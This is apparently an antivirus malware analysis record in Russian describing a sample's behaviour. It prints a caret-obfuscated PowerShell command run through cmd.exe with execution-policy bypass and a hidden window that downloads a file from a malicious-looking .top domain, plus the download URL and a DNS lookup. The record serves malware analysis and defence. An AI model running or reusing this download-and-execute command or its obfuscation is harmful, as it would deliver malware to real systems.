Техническая информация
Вредоносные функции
Загружает и запускает на исполнение
- http://hometowergop.top/read.php?f=0.dat как %appdata%.exe
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /c "pO^w^ersH^eLL.eX^E^ ^-^e^XEc^UTi^ONpOLICY ^B^Ypass -n^OProFIle -W^I^N^DoW^stylE^ hidD^En (^NE^w-obJecT^ S^YS^te^M^.Net.W^E^BC^lI^en^t).d^owN^Lo^Ad^F^ILe^('http://hometowergop....
Сетевая активность
UDP
- DNS ASK ho####wergop.top
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /c "pO^w^ersH^eLL.eX^E^ ^-^e^XEc^UTi^ONpOLICY ^B^Ypass -n^OProFIle -W^I^N^DoW^stylE^ hidD^En (^NE^w-obJecT^ S^YS^te^M^.Net.W^E^BC^lI^en^t).d^owN^Lo^Ad^F^ILe^('http://hometowergop....' (со скрытым окном)
